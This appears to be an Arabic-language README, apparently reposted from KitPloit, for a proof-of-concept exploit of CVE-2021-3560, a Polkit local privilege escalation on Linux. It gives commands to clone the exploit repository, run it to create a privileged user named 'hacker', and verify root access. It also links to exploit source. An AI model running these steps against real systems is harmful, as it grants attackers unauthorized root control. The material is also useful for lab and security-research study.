CVE-2021-3560 - تصعيد الامتيازات المحلية في Polkit

---

⚠️ للاستخدام التعليمي وأغراض البحث الأمني المصرح بها فقط

مؤلفو الإثبات المفاهيمي الأصلي

نشكر جدًا مؤلف الإثبات المفاهيمي الأصلي @UNICORDev بواسطة (@NicPWNs و @Dev-Yeoj)

الوصف

تم اكتشاف أن polkit يمكن خداعه لتجاوز فحوصات الاعتماد لطلبات D-Bus، مما يرفع امتيازات الطالب إلى المستخدم الجذر. يمكن لمهاجم محلي غير مميز استخدام هذا الخلل، على سبيل المثال، لإنشاء مسؤول محلي جديد. أعلى تهديد من هذه الثغرة هو سرية البيانات وسلامتها وكذلك توفر النظام.

العرض التوضيحي

---

دليل الخطوات

1. قم بتثبيت git، ثم استنسخ السكريبت من مستودع github:

   root@kitploit:~

   sudo apt install git python3 -y
   git clone https://github.com/asepsaepdin/CVE-2021-3560.git
   

2. قم بتشغيل سكريبت PoC باستخدام الأمر:

   root@kitploit:~

   python3 exploit-CVE-2021-3560.py -u hacker -p password
   

   ملاحظات: حدد الخيارات -u مع اسم المستخدم المقصود والخيارات -p مع كلمة المرور المقصودة

3. تحقق من المستخدم الذي تم إنشاؤه باستخدام الأمر:

   root@kitploit:~

   su hacker
   id
   

---

الاعتمادات

• https://nvd.nist.gov/vuln/detail/CVE-2021-3560
• https://app.hackthebox.com/machines/Paper
• https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
• https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py